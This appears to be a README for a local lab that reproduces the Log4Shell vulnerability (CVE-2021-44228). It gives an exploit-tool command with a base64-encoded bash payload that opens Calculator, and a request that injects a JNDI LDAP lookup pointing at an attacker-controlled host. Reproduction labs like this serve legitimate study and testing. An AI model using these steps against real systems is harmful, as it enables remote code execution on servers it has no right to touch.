x1ongsec/cve-2021-44228-log4j-jndiCVE-2021-44228 Vulnerability Reproduction Environment CVE-2021-44228 漏洞复现环境
After the project starts, visit: http://127.0.0.1:9090/vul
JDK version: java8u92 (Avoid using too high a version; it is recommended to use the same as mine, as higher versions have certain restrictions on JNDI injection)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,b3BlbiAtYSBDYWxjdWxhdG9y}|{base64,-d}|{bash,-i}" -A 127.0.0.1
Use the above tool to generate PAYLOAD.
Visit http://127.0.0.1:9090/vul?action=${jndi:ldap://your_ip:port/xxx}